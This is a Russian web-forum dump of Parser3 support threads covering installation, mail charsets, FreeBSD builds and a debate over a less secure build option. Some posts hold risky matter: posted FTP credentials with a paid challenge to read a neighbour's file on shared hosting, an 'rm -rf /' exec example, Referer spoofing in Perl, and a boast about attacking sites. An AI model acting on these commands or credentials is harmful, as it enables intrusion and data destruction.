Знакомый текст, не так ли? Юзабилити, ключевое слово."
"10832","мне чего-то не ходит :("
"10833","Только одно письмо пришло, хотя отвечали не раз. И еще при постинге появляется что, мол, идут технические работы."
"10836","Для freebsd соответствующая версия была выложена одновременно с обычной.\
Ссылок на нее мы не даем, но для умеющих искать в форуме не должно составить большого труда понять, как называются файлы...\
"
"10837","Станно только, что не на тот, под которым соответствующий ftp пользователь кладет свои файлы...\
\
"
"10838","но Константин, всё равно, стоит подумать о политике - проще, значит ближе к пользователям и следовательно выше популярность."
"10839","а впрочем мне это и не нужно"
"10840","http://parser.ru/download/"
"10841","Чего не отвечаете, га?\
\
^mail:send[\
$.from[...]\
$.to[$form:email]\
$.subject[...]\
$.html{...}\
$.charset[koi8-r]\
]\
\
не работает. Ошибка вылазит такая:\
transcodeFromUTF8 error: too big tmpVal(0x019AEA65)\
\
и не понятно у вас в доке \
\
$.html[\
       $.поле_заголовка\
       $.value{строка}\
]\
\
как задавать поле_заголовка? пример приведите плиз."
"10842","http://parser.ru/forum/?terms=transcodeFromUTF8&searchInMessage=1&author=&doSearch=%CD%E0%E9%F2%E8\
\
и почитать ответы ПАФ-а?"
"10843","а про мыл я не понял."
"10844","Опишу по порядку все что я делал чтобы установить его.\
1. Скачал с сайта архив parser3_3_0_0006_win32_cgi_xml_sp1.zip\
2. Развернул его, скопировал файл parser3.exe в каталог cgi-bin.\
3. Сделал изменения в файле httpd.conf как написано в инструкции\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
4. Запускаю сервер\
5. Вызываю страницу index.html в которой вызывается метод ^navigation[].\
6. Windows выдает ошибку, что не может найти файл libglib-1.3-11.dll.\
Что это такое, что я неправильно сделал?\
\
P.S. Что такое файл .htaccess, где, зачем и как его нужно создавать? Какое у него имя??? Чтобы я мог его создать.\
\
\
"
"10845","и конфигурационный файл не забудь настроить. Все это достаточно подробно описано в документации."
"10846","Или никто не знает что-ли?\
после вызова функции document('map.xml') в XSLT файле\
которая возвращает, как я понимаю, список узлов, Parser\
 говорит что не может подгрузить внешнюю сушьность\
(failed to load external entity) \
То ли это не предусмотрено в Парсере, толи это можно \
обойти? Подскажите пожалуйста!!"
"10848","стоило бы выложить исправленные версии. Потому что пользоваться версией, где, например, невозможно передать параметры в CGI, попросту нельзя. А ставить себе полный комплекс средств разработки и постоянно пересобирать инструмент -- не вполне логично. \
В 3.006 есть очень нужные мне возможности, но перейти нельзя -- там слишком много ошибок...\
М.б. в самом деле -- выложили релиз, недельку пользователи попробовали, сообщили об ошибках, и потом выкладывается результат. Всем хорошо."
"10849","[b]возможно[/b], это та проблема, которая уже обсуждалась при сборке под OpenBSD. возможно, нет. попробуйте это решение, не получится, давайте разбираться [уйдём в почту].\
\
автор библиотеки gdome написал довольно странные заголовочные файлы, которые, может и компилируются компилятором C [сама библиотека на C], и должны бы компилироваться компилятором C++ [Parser на C++], и автор сделал какие-то телодвижения к этому, но сделал это плохо: какие-то компоновщики потом понимают код, созданный компилятором, какие-то нет.\
\
чтобы не разбираться в их версиях, проще поправить исходный код:\
по всем заголовочным файлам, где попадается такая декларация внешней переменной…\
[code]\
const …vtab;\
[/code]\
…надо заменить её на…\
[code]\
extern const …vtab;\
[/code]\
"
"10850","[code]\
cd libxml2-x.x.x\
./configure … --without-iconv\
[/code]\
\
недавно это обнаружил на каком-то RedHat, там падало внутри libiconv.\
\
parser регистрирует свои кодировки в libxml, ему iconv не нужен.\
однако libxml пытается его использовать, если он есть.\
ну а почему он падает, за то путь его автор отвечает. хорошо, что нам iconv не нужен."
"10851","В версии 3.005 проходило такое:\
\
^mail:send[\
    $.from[Name <email@company.com> (Company, LLC)]\
    $.to[OtherName <email@othercompany.com> (OtherCompany, Inc)]\
    ...\
\
3.006 спотыкается на \",\" в названии компании, впрочем, и при таком написании - \"LastName, FirstName <e@mail.com>\", тоже..."
"10852","See Subject\
"
"10854","ужесточены требования к email.\
добавлена возможность задать несколько адресов через запятую.\
\
обрабатывать комментарии к значениям полей мне было недосуг.\
со временем сделаю."
"10855","Ясно, бум ждать...\
\
Спасибо."
"10856","Кто-нибудь пользуется CSS фишкой, Подгрузкой шрифтов с сервака, если да, то подскажите как, а то у меня оно в наглую не желает работать.\
\
шрифт TTF, в браузере все включино(IE5), файл есть, путь правельный, но в наглую не пашет:(\
\
"
"10857","Мне это не критично - просто заметил:\
\
Стоял (сегодня убью) freebsd 4.5, кривенько так, в минимально необходимом варианте для запуска апача. \
3.0.0005 в бинарниках с сайта работал без проблем.\
3.0.0006 оттуда же это делать отказался, выдав в error_log:\
\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
\
Какой-то старый freebsd (2 с чем-то, кажется) у провайдера сказал то же самое."
"10858","Народ, поскажите кто каким редактором пользуется для написания текстов на parser и где его можно достать?"
"10859","то на 4.7 работает точно.\
на 4.6 мы попробовали, работает.\
на 4.5 «наверное работает».\
\
это всё представляется очевидным. если вы придумаете красивую короткую фразу, описывающую это, мы в /download обновим на вашу формулировку ;)"
"10860","А то может вообще надо писать \"А так же FreeBSD 4.6\" :)))"
"10861","2egr ничего, что я так? ;)"
"10862","Спасибо за совет, попробую"
"10863","^file:fullpath[some.tar.gz] вызванный из страницы, лежащей в DOCUMENT_ROOT, отдает \"b/some.tar.gz\"... :("
"10867","вчера обновился там до 3.0006 (нашел линки с помощью Константина Моршнева) и все работает нормально. Да кстати а нельзя ли внести исправления в версию 3.0006 на предмет исправления бага не позволяющего загружать external entitity c присутствием в пути .."
"10870","http://parser.ru/f/1/download/utils/p3_far_colorer.zip"
"10871","Все лежит где положено но Parser говорит:\
\
Что-то непонятное с SQL. Наверное не положены куда надо драйвера.\
Сообщение об ошибке:\
\
driver implements API version 0x0005 not equal to 0x0003\
$sqldriversdir/libparser3mysql.so\
\
Что это значит?"
"10872","надо обновить...\
\
[quot]Изменен интерфейс общения с SQL-драйверами, их необходимо обновить![/quot]"
"10873","а про мыл просто я посылал письмо где просил помочь, вы были не против помочь, но потом я и сам разобрался... так что спасибо за просто желание помочь, а то некоторые шлют просто далеко далеко..."
"10874","нетерпеливым: соберите из исходников в CVS HEAD."
"10875","Уважаемые, помогите разобраться, установил Джентельменский набор web-разработчика (http://www.dklab.ru/chicken/web), настроил под него parser3, все работает. Только вот проблема в том что после запуска сервера (Apache) при попытке доступа к адресу http://www.localhost (в данном случае http://www.delphin) запрос почему то видимо идет через прокси, который прописан у меня в эксплорер для доступа к интернету. Как этого избежать. Может надо что то поменять в настройках сервера?"
"10876","У эксполорера есть такая галочка - не использовать прокси для локальных хостов, а еще там можно сепаратед\";\" прописать доп. список этих самых хостов чтобы не пущать их через проксю. Вот."
"10877","Об этом я знаю, если бы оно работало, я бы не спрашивал. А так, не работает."
"10878","<SCRIPT LANGUAGE=\"javascript\">\
<![CDATA[\
var strHTML = \"^taint[js][^string:sql{select body from content where id=\"$id\"}]\"^;\
]]>\
</SCRIPT>\
странно, но такая вот констукция имеет лимит около 22Кб, только не могу понять где он ?\
При передаче больших объемов происходит \"обрезание\".\
В Javascript строке ? Имеет ли она лимит ?\
или в ^string:sql ?\
\
P.S. После всего идет преобразование XSL.\
"
"10879","Если не уверен, почему пеняешь на прокси?\
Да и почему www.localhost, а не просто localhost? Что в hosts написано? Что по http://127.0.0.1 открывается?"
"10880","Цитата:\
\
The URL should point to an embedded OpenType file (.eot or .ote format). The file contains compressed, subsetted font data that is converted to a TrueType font and installed by T2embed.dll. "
"10881","В WinXP есть папка [b]C:\\WINDOWS\\system32\\drivers\\etc[/b] в которой есть файл [b]hosts[/b] [i](в других операционках тоже есть такой файл, но я не помню где он там...)[/i], в котором можно прописать адреса и ip на которые он будет ссылаться."
"10882","Работает:\
\
[code]\
@main[]\
$var{@print[]\
А вот и я.}\
^process{$var}\
^print[]\
[/code]\
\
Не работает:\
\
[code]\
@auto[]\
$var{@print[]\
А вот и я.}\
\
@main[]\
^process{$var}\
^print[]\
[/code]\
\
Выдает: junction used outside of context"
"10883","Уже несколько вэб-мастеров попросило Вас выложить для всеобщего обозрения ссылку на версию с enable-foreign-group-files в разделе \"Скачать\". Было-ли хоть одно письмо с просьбой этого не делать?\
\
Ну неужели трудно? :-/"
"10884","Многие довольствуются тем, что доступно.\
Я знаю хостинги, на которых работает и доступная версия. Я работаю на этих хостингах.\
Могу сам себе написать (+ Мише, PAFу и Моршневу), что мне не нужна такая версия. Но не думаю, что они возьмут и сделают вопреки моему желанию ;-)\
А официальный ответ PAFа - чуть ниже в этой ветке."
"10885","http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0006_freebsd47R_grpunlim_cgi_xml.tar.gz\
\
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0006_freebsd47R_grpunlim_cgi.tar.gz"
"10886","> Многие довольствуются тем, что доступно.\
\
Мне вполне доступен нет.ру. Хотелось бы безгемморойно использовать и Парсер.\
\
> Я знаю хостинги, на которых работает и доступная версия. Я работаю на этих хостингах.\
\
В отличии от многих других сайтостроителей.\
\
> А официальный ответ PAFа - чуть ниже в этой ветке.\
\
Это, ИМХО, очень плохой \"официальный ответ\": \"...если хотя бы часть администраторов в результате настроит SuEXEC будет большое дело...\". Это и не ответ даже, а, скорее, отписька :)\
"
"10887","непомнятно что-то пачиму непашет....\
\
/usr2/virtual/testcstrike/auto.p(13): 'mysql://name:pass@localhost/cs' $SQL:drivers table must be defined  type: parser.runtime\
"
"10888","Помогите пожалуйста, я столкнулся с проблемой. Надо в файле \
shablon.html заменить !date! на значение из формы. Подскажите\
как это можно сделать?"
"10889","разве вы не считаете пароль к вашей базе данных секретом?\
вот же он: скорее всего лежит в /cgi-bin/auto.p\
\
если кто-то, тоже хостящийся на этой машине его раздобудет, он вполне сможет соединиться с вашей базой данных и сказать там «всё delete».\
\
если вы это не считаете проблемой, я бы никому не рекомендовал ничего у вас заказывать."
"10890","надо:\
\
[code]\
$var[…]\
[/code]\
\
вы их наугад ставили, или что сказать хотели?"
"10891","и моё личное мнение: такой стиль безобразен.\
\
если хотите, чтобы через полгода вы сами и ваши коллеги перестали понимать, что этот код делает, тогда вполне можно так писать."
"10892","помнятно, что не пичитали"
"10893","чего именно не поняли?"
"10894","> разве вы не считаете пароль к вашей базе данных секретом?\
вот же он: скорее всего лежит в /cgi-bin/auto.p\
\
Там и лежит. Прикрыт .htaccess'ом. Плюс: http://parser.ru/forum/?id=10824\
\
> если кто-то, тоже хостящийся на этой машине его раздобудет, он вполне сможет соединиться с вашей базой данных и сказать там «всё delete».\
\
Ну и ладно. На следующий день с бакапа все будет восстановлено. Не вижу проблем. За три года ни на одном моем сервере ничего подобного не случилось. А вот при каждом выходе новой версии Парсера всегда приходилось уйму времени тратить на то, чтобы скачать нужное. Так что хуже, на твой взгляд?\
\
Егоров, кстати, хоститься на том же нет.ру. Но мне почему-то кажется, что он так делать не будет :-))\
\
> если вы это не считаете проблемой, я бы никому не рекомендовал ничего у вас заказывать.\
\
Более того - это невозможно. Я не делаю ничего \"на заказ\", а исключительно \"для себя\". С \"рекомендациями\" придется обломиться :)\
\
Да и вообще - не кажется, что пошел какой-то пустой разговор? Вас просят дать ссылки на версии Парсера, которые вы все равно выкладываете и которые \"через задний проход\" все-таки можно скачать и установить, а вы что-то про \"воспитание админов\" глаголите. Много перевоспитали-то? :)\
\
Интересно стало - ваша команда и с коммерческими заказчиками так себя ведет? Т.е.: -\"Будем делать, как считаем нужным и точка!\" Или это \"другой случай\"?"
"10895","если вы думаете, что .htaccess помешает вашему соседу по хостингу считать файл, который в файловой системе ему доступен из-за ненастроенного suexec, то мы действительно ведём пустой разговор.\
\
я трачу своё рабочее время не для того, чтобы препираться с разговаривающими на «ты» неуважающими собеседниками. основная задача: предупредить тех, кто слушает.\
\
вниманию окружающих: использование grpunlim версии идёт на ваш страх и риск, и не говорите потом, что вас не предупредили много раз."
"10896","Это сделано специально, чтобы _сначала_ пользователь попробовал установить правильную версию,\
и _только если она не работает_ получил доступ к \"неправильной\".\
\
Версия grpunlim по определению менее безопасна, но не все пользователи это понимают, многие вообще не озабочены подобными проблемами. Но 99% админов с подобной нашей политикой, уверен, будут согласны.\
"
"10898","> если вы думаете, что .htaccess помешает вашему соседу по хостингу считать файл, который в файловой системе ему доступен из-за ненастроенного suexec, то мы действительно ведём пустой разговор.\
\
Дык! О чем и речь :)\
\
> я трачу своё рабочее время не для того, чтобы препираться с разговаривающими на «ты» неуважающими собеседниками. основная задача: предупредить тех, кто слушает.\
\
За \"ты\" - приношу Вам, Александр, свои искренние извинения. И в мыслях не было, что Вы можете на это обидется :-( И насчет \"неуважающих\": я с огромным уважением отношусь ко всем, кто знает и понимает в любой области знаний больше меня. Так что Вы это зря :-(\
\
Впредь обязуюсь не тыкать.\
\
> вниманию окружающих: использование grpunlim версии идёт на ваш страх и риск, и не говорите потом, что вас не предупредили много раз.\
\
Ссылку-то можно увидеть на этот \"кошмар\"? Не я один прошу - многим тоже крайне интересно :-)\
\
Ну и, напоследок, упражнение (для всех желающих):\
\
Домен mares.ru. ftp вход: login: '0002777', passw: 'test'. Инструкции - на http://www.net.ru.\
\
На той же машине хостится домен fdi.ru. Там же лежит файл: http://www.fdi.ru/paf.p. Кто может сказать, что там написано? :-)))\
\
Чтобы было интереснее - $20 тому, кто прочтет и первый огласит на данном форуме. Вышлю на любой счет в СберБанке. В Питере - передам лично.\
\
Конкурс проводится до 01.01.2003 - потом пароль сменю.\
\
На mares.ru можно делать все что угодно. Места есть - 1 мбт (вполне можно закачать версию Парсера без хмл). Ну и, разумеется, просьба ничего за-зря не рушить на fdi.ru и на mares.ru\
"
"10900","Пришел в голову такой вопрос:).. и решил, кто как думает по этому поводу:)\
\
Как лучше интересно - применять \"типограф\" именно перед показом готовой страницы - т.е. в б.д., файле - текст оригинал или же когда поль-ль ввел текст(допустим новую статью) и записывая исходной текст преобразуется в новый и лежит уже преобразованный в б.д...файле...\
\
"
"10901","N:\\I\\Win32\\Shells\\FAR\\!!>ftp ftp.mares.ru\
Connected to root.mares.ru.\
220 ProFTPD 1.2.2rc2 Server (ftp upload server) [root5.incru.net]\
User (root.mares.ru:(none)): 0002777\
331 Password required for 0002777.\
Password:\
530 Login incorrect.\
Login failed.\
"
"10904","А может лучше сделать так:\
Дать обе версии с подробными комментариями, предпреждениями Вашей команды \"о недопустимости\", и ссылками на статьи по безопасности (если надо). И пусть пользователи ставят для начала любую из версий, а потом, когда примут решение о выборе Парсера в качестве \"рабочей лошадки\" уже вникают в тонкости и принимают осознанное решение. Мне, к примеру, первоначальная установка Парсера на нет.ру далась с огромным трудеом: та версия, что имеется на нет.ру не работала, пришлось перелопатить весь местный форум + форум на форум.нет.ру. Когда стало понятно что не идет, пришлось отвлекать Вашу Команду на просьбу скомпилировать и мне выслать \"злосчастную\" версию. При следующем релизе - таже история :-/ И все равно: теперь на нет.ру стоят \"опастные\" версии - только время зря все потратили.\
\
Новый потенциальный пользователь парсера, столкнувшись с подобными \"непонятками\", скорее всего плюнет и уйдет. Тот кто понастырнее - найдет. Но время жалко. :-(\
\
Наверное Вашей Команде есть смысл подумать над \"юзабилити принятого решения\" о распространении версий Парсера :-)"
"10905","/users/f/d/fdi.ru/www/paf.p: No such file or directory\
\
чему у вас равен $env:DOCUMENT_ROOT?"
"10906","Добрый день всем.\
Вот такой затык:\
\
Есть  xml\
<xml>\
.......\
\
<item id=\"1234\">value</item>\
</xml>\
\
и вот такой шаблон:\
\
......\
<xsl:template match=\"item\">\
    ^myfunction[<xsl:value-of select=\".\" />]\
</xsl:template>\
......\
\
потом \
$transformed[^xml.transform[$styleSheet]]\
^process{^transformed.string[\
	$.method[html]\
	]}\
\
@myfunction[param]\
\
и вот тут начинаются чудеса:\
$param - выведет value, а ^param.lenght[] будет равным 27, т.е. длине такой строки \"<xsl:value-of select=\".\" />\"\
\
но это еще не все, если попытаться использовать $param опять для генерации XSL, то его значение в XPath будет не \"value\", а всё тот же \"<xsl:value-of select=\".\" />\".\
\
\
Кто-нибудь сталкивался с таким? Может помочь?\
\
\
\
\
\
"
"10907","если хотите так извращаться (крайне не рекомендую), обратите внимание на изменение заголовка"
"10908","/users/f/d/fdi.ru/html/www"
"10909","Так извращаться в результате  я и не стал, интересно почему не работало.."
"10910","/users/f/d/fdi.ru/html/www/paf.p: No such file or directory\
"
"10911","в итоге так и неясно, поняли вы свою ошибку, или нет"
"10912","у меня тоже не получилось поиметь доступ к файлу, но путь к нему в файловой системе сервера правильный.\
\
Пробовал листинг каталогов, тоже не катит, хотя в пределах моего сайта за веб-пространство выйти можно, но дальше нет."
"10913","Если бы понял - не спрашивал бы :-)"
"10914","я большой любитель бомбить чужие сайты, и не только, - в зависимости от суммы денег (ну там пистолет с глушителем купить и ещё всякие подручные средства), можно не только сайт грохнуть. "
"10915","Я думаю, надо комбинировать оба способа. То есть всякие неразрывные пробелы в инициалах, после числительных, после некоторых союзов и т. д., надо расставлять сразу (руками, или автоматом) и хранить это дело в БД, или файлах. А вот кавычки всякие лучше задавать псевдотегами, типа\
[code]\
[q]Текст в одинарных кавычках первого уровня (двойных, например)[/q]\
[/code]\
и заменять на &#147; всякие уже во время вывода пользователю. \
Это может пригодиться, если в версии для печати, например, вы захотите, чтобы на бумаге у пользователя были кавычки-елочки, а на экране компьютера -- более удобочитаемые кавычки-лапки.\
Я правда, для этого применяю не псеводтеги, а пользовательские операторы, типа ^q[Текст в кавычках], мне так больше нравится, а что меньше ресурсов ест -- это, или матчить текст на псевдотеги, я не знаю, не проверял."
"10916","Концепция их безопасности в общем понятна и традиционна:\
1. все, что делает пользователь запускается под suexec (кроме .php, который работает в своем safe mode).\
   suexec UID - владелец, группа - \"левая\" - специальную группу, которая никуда не имеет прав.\
2. Статика отдается apache работающим от UID httpd, GUID httpd.\
   пользователь apache в теории имеет доступ к вашим файлам (к которым может обратиться группа), и если бы были неправильно настроены права apache, то например через \"include virtual\" к ним было бы можно достучаться.\
\
И если бы suexec не менял группу, то до файлов с правами группы на чтение можно было бы достучаться. Из смешных вещей у них убраны права на чтение (R) и оставлено только право для обращение по имени (X) для каталогов /, /etc/. Но зная имя файла, его аттрибуты все равно можно получить - например в результате можно сделать вывод, что на этой машине порядка 1500 аккаунтов.\
\
Недостаток используемой схемы - несколько пользователей (с разными UID) не могут работать над одним сайтом одновременно - что обычно решается через общую группу и права на запись этой группе - у нас кое-где подобная схема используется, и парсер может нормально обращаться ко всем этим файлам.\
\
То есть используемая в парсере схема проверки доступа по ID группы дает больше возможностей (если есть доступ к конфигурированию системы).\
\
Но раз уж есть такие \"неправильные\" хостинги, то мы поддержим и их, добавив альтернативную проверку по ID пользователя. За исключением меньшей общности проблем безопасности эта схема тоже не создает и имеет право на жизнь.\
"
"10917","вы прочитали часть «обратите внимание на изменение заголовка», или нет?"
"10918","не отправляется мыло если задаю .$charset[windows-1251]\
вылазит эксцэпшин.\
пробовал перед отправкой писать $response:charset[windows-1251]\
всё равно тот же эксцэпшин. на серваке в настройках парсера менять ничего не могу. как это решить? почему в доке про это не написано?"
"10919","Константин, если я вас правильно понял, там пользователь от имени которого запускается скрипты совпадает с пользователем который владеет файлами? И вы идя нам навстречу можете реализовать эту схему в парсере, т.е. если имя пользователя в контексте которого работает скрипт, совпадает с именем пользователя владеющего файлами, то парсер прочтет эти файлы?\
\
Кстати эта схема безопасности действительно бывает неудобна, - в Resource Kit по Windows NT сказано что лучше назначать права доступа группам а не пользователям и хотя там не NT но некоторые принципы не меняются."
"10920","кому нет, выложим сегодня/завтра"
"10922","Обычный suexec тоже меняет пользователя, от которого работают скрипты на пользователя, на пользователя, который владеет файлами.\
Но обычный suexec меняет еще и группу на группу пользователя, который владеет файлами, а их случае suexec меняет группу на одну для всех специальную группу, которая никуда доступа не имеет. \
"
"10923","Unhandled Exception (Debug)\
column not found\
path\
\
f:/parser/crosh/_test.html(117)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu f:/parser/crosh/_test.html(117)\
if f:/parser/crosh/_test.html(114)\
\
Может кто подскажет, в чём у меня проблемы ."
"10924","просто вы задали в $CLASS_PATH таблицу с именем колонки ne 'path'.\
поправьте свой auto.p, чтобы колонка называлась так, или выкиньте блок из _test"
"10925","прочитал http://www.egoroff.spb.ru/opinions/13.html\
[code]\
Некоторой защитой от этого может служить проверка переменной окружения HTTP_REFERER которая содержит адрес страницы, с которой производилась отправка данных из формы. Если эта страница не принадлежит нашему сайту, — не принимать данные с неё.\
[/code]\
На сколько я понимаю, этот заголовок посылает браузер, но они могут этого и не делать. Так вот, все ли популярные браузеры посылают этот зоголовок можно ли отключить это в настройках?"
"10926","Собираю parser3 из исходников под freebsd - получаю вот такю ошибку\
\
make: don't know how to make /path/to/parser3project/classes/libclasses.a. Stop\
*** Error code 1\
\
Может кто сталкивался?"
"10927","transcodeFromUTF8 error: too big tmpVal(0x019AEA65)\
"
"10928","вам слова From UTF8 ни о чём не говорят?\
кто настраивал вам parser или совсем не положил предлагаемый конфигурационный файл, или испортил его.\
\
по-умолчанию, если $request:charset не задан [сейчас подходящий момент посмотреть в документацию] он равен UTF-8.\
\
вы просите отправить письмо в кодировке windows-1251.\
вы parser'у не объяснили, в какой кодировке его документы [$request:charset], и он считает, что они в UTF-8.\
\
соответственно, вы попросили его перекодировать из UTF-8 в windows-1251, задав на входе текст в windows-1251. он честно возмутился.\
\
[code]\
@auto[]\
$request:charset[windows-1251]\
#и смело\
^mail:send{\
    $.charset[windows-1251]\
    …\
}\
[/code]"
"10929","вы как ошибку скопировали: подправили ли путь?\
или у вас такой каталог?\
\
вообще-то бывает только parser3/src/classes/libclasses.a \
"
"10930","С браузерами как раз все в порядке, я имел ввиду не браузеры, а программы имитирующие отправку данных методом POST, - для человека знакомого с программированием (язык не имеет значения) такая штука пишется минут за 10, например в скрипте на Perl отправка заголовка HTTP_REFERER имеет вид: [code]send Socket_Handle, \"Referer: anything you wish\\n\", 0;[/code]"
"10931","я понимаю, что подделать это совсем не сложно.\
вопрос в том, что, проверяя таким методом данные, я не отсеку прилежных пользователей, всего лишь отключивших у себя в браузере посылку этого заголовка?"
"10932","make: don't know how to make ../../classes/libclasses.a. Stop\
*** Error code 1\
\
Stop in /usr/home/user_home/parser3project/src/targets.\
*** Error code 1\
\
Stop in /usr/home/user_home/parser3project/src.\
*** Error code 1\
\
Stop in /usr/home/user_home/parser3project.\
\
вот );"
"10933","попробуйте перед make сказать touch *, возможно, у вас ошибочно сработал automake...\
\
перед этим [b]заново распакуйте[/b] исходники."
"10934","Стандартный браузер _всегда_ посылает такой заголовок.\
Под IE есть спец. приблуды, которые позволяют задавать его руками. Но они настолько нестандартны, что из всех пользователей хотя бы этого форума о их существовании знают двое-трое.\
Так что не волнуйся. А обманщики получат по-заслугам ;-)"
"10937","Намек:\
Нужно искать сообщения от egr за последние 2-3 дня."
"10938","сейчас пробовал собрать на другой машине тоже под freebsd и ошибка повторяется"
"10940","Ведь там функция [b]Remove Private Header Information[/b], как раз именно реферер и ip прячет от сервера. У меня она включена by default. И отключаю я ее выборочно для конкретных сайтов типа Windows Update."
"10941","Самим-то Вам не надоело на одни и теже вопросы отвечать ? :-)))))"
"10942","Константин. Проясните пожалуйста ситуацию: на Ваш взгляд, представляет-ли опасность использование Парсера, скомпилированного без disable-foreign-group-files, на хостинге нет.ру, для пользователя (сайта)? Ваши коллеги настоятельно советовали мне \"попинать админов\" нет.ру, но, к сожалению, так и не смогли (пока!) привести ни одного внятного аргумента. Из общения на данном форуме я смог сделать вывод, что Вы единственный кто действительно владеет данным вопросом. Помогите пожалуйста разобраться..."
"10943","Права для файла paf.p я назначил: 644. Если надо - изменю на любые другие, при условии сохранения запрета на чтение файлов '*.p' в .htaccess"
"10945","получается, вы сами не поняли исчерпывающего разъяснения, и вам нужно дополнительное?\
отвечаем: да, на данном hoster'е применение parser'е без group read/exec limit [b]относительно[/b] безопасно.\
\
однако, чтобы понять, что на net.ru админы провели работу по настройке выше среднего, потребовалось потратить время на изучение его особенностей.\
\
теперь задайте себе вопрос: сколько пользователей parser вникают во все детали?\
многие при наличии малейшей проблемы тупо ставили бы себе небезопасную версию, не вникая в суть происходящего.\
\
даже вы сами толком [b]не[/b] разобрались, а слепо поверили заверениям вашего провайдера, предоставив разбираться нам.\
что уж говорить об обычном пользователе.\
\
однако в споре родилась истина, что не может не радовать.\
спасибо вам, что подвигнули нас на исследования своим бодрым настроем.\
\
PAF"
"10946","den, всегда возможно +/-, если я приведу десяток примеров обратного, это вас не убедит.\
\
киньте [b]весь[/b] журнал, от команды make до ошибки?"
"10947","> получается, вы сами не поняли исчерпывающего разъяснения, и вам нужно дополнительное? отвечаем: да, на данном hoster'е применение parser'е без group read/exec limit относительно безопасно.\
\
Я же не специалист. Потому и спрашивал на форуме.\
\
> теперь задайте себе вопрос: сколько пользователей parser вникают во все детали? многие при наличии малейшей проблемы тупо ставили бы себе небезопасную версию, не вникая в суть происходящего.\
\
Кто хочет \"свернуть себе шею\" - непременно сделает это. Кто работает в области вэб-строительства профессионально - разберется во всех нюансах - жизнь заставит. И наверное не надо пытаться никого \"воспитывать\"...\
\
> даже вы сами толком не разобрались, а слепо поверили заверениям вашего провайдера, предоставив разбираться нам. что уж говорить об обычном пользователе.\
\
Я, на самом деле, совершенно не разбираюсь в нюансах работы сайта и, соответственно, и есть тот самый \"обычный пользователь\". И могу только доверять (Вам или своему провайдеру). На хостинге нет.ру тоже работает служба поддержки и наверняка не зря свой хлеб ест.\
\
> однако в споре родилась истина, что не может не радовать.\
спасибо вам, что подвигнули нас на исследования своим бодрым настроем.\
\
Спасибо и Вам. Кое-какой _практический_ результат действительно получился, а значит время ухлопано не напрасно.\
\
Разумеется, я далее не буду Вам надоедать с просьбами дать новую \"специфическую\" версию. Однако если Вы заглянете в самое начало форума, Вы опять увидите там подобную просьбу от следующего пользователя. Мне кажется, что так будет повторяться чуть-ли не ежедневно - явный признак, что что-то задумано не совсем правильно :( Впрочем - Вам решать что с этим делать. Можно авто-ответчик поставить, который будет посылать поискать на форуме. А можно в FAQ указать ссылки на версии. Можно в раздел \"Скачать\" разместить :) В любом случае - мне кажется, что Вам это когда-нибудь надоест :-)))\
\
Файло http://www.fdi.ru/paf.p публиковать или подождем до НГ? :) В нем нет ничего обидного, скорее наоборот: содержатся хорошие и теплые слова в адрес Вашей команды и студии :-)"
"10950","нам можно доверять [b]не слепо[/b], можно посмотреть в исходники и [b]увидеть[/b] проверки. потом эти исходники самому собрать, чтобы быть 100% уверенным, что нет никакой закладки."
"10951","Версия парсера, которая собрана с disable-foreign-group-files, защищает не столько ваши файлы и данные, а всех остальных пользователей, которые хостятся с вами на одной машине от ваших ошибок. То есть даже если вы сделаете например страницу, где в форме вводится парсерный код, а по нажатию submit этот код выполняется, то этот код никаким образом не сможет получить доступ к файлам других пользователей на этом сервере, даже если администраторы этого сервера (как это сделано в случае с net.ru) не предпримут дополнительных мер по обеспечению безопасности других пользователей. \
\
На безопасность вашего сайта disable-foreign-group-files действует скорее косвенно, не давая возможность например запустить rm -rf или записать на диск свой скрипт, который что-нибудь сделает с вашими данными - точнее записать на диск скрипт можно, но дать ему права на выполнение не получится (в парсере нет функции chmod, а системную программу chmod вызвать не получится).\
\
Грубо говоря disable-foreign-group-files позволяет администраторам уделять меньшее внимание настройкам безопасности в случае использования парсера, а в случае ошибки разработчика сайта затрудняет нанесение вреда сайту. \
\
Резюме: версия с disable-foreign-group-files более безопасна по определению, назависимо от настроек прав конкретного провайдера. Пример я уже приводил - из незащищенной версии можно сказать ^exec[/../../bin/rm -rf /], из защищенной - нет. В случае коммерческого хостинга часть этой защиты дублирует провайдер (поскольку не все скрипты такие \"правильные\", как parser). Но только часть, парсер это делает более полноценно.\
\
2Paf: может это куда-нибудь в FAQ - чем безопаснее версия с safe_mode?\
"
"10952","Есть win32, на которой крутиться апач и парсер. Есть hp-ux сервер, на котором работает какой-то оракл. Скачал драйвер. Несколько вопросов:\
\
Где можно найти c:\\oracle\\ora81\\bin\\oci.dll, который указан в errorlog'e и auto.p\
\
Оракл вообще умеет (как mysql) работать по tcpip? Или нужно апач перетаскивать на hp-ux?\
"
"10953","тривиальное: поискать на вашем hdd в похожем каталоге\
не помогает? [это я клещи беру, и вытаскиваю из вас]"
"10954","...про несколько человек, которые знают такие приблуды. Может, чуть погорячился с количеством. ;-)\
\
А прятать referer, IMHO, глупо. А временами просто вредно - его ведь и проверить могут ;-)\
А то, что его проверяют, на странице крупными буквами не написано ;-)"
"10955","http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0006_freebsd47R_grpunlim_cgi.tar.gz\
додумался чисто по аналогии.."
"10958","поставил parser3.cgi - вроде проблем нет. Если нужен журнал могу кинуть?"
"10959","обязательно киньте. мылом, чтобы не засорять форум."
"10960","Читать тут http://teron.perm.ru/forum.asp?sub=show&action=posts&fid=6&tid=13688\
Я - AZ\
Качать http://webdesign.perm.ru/003/09/upe/upe10_b2808.exe\
ПОДДЕРЖИВАЕТ ПОДСВЕТКУ СИНТАКСИСА ПАРСЕРА3!"
"10961","этож ужас полнейший. \"подсветка Парсера!....\" ....да там коментарием считается только текст после #, а если у меня он типа ###### comment, то это за коммент не канает...вы такие глупости видели?\
На счет интерфейся автору надо тонны 2 книжек перечесть - это однозначно. И зачем он туда калькулятор с календарем вм... внедрил, я вообще ума не приложу... Прога под Win32 : можно спокойно вызывать виндовские приложения, а не писать свои...imho.\
А за splash screen я автора вообще бы убил...Короче, UltraEdit рулит...\
\
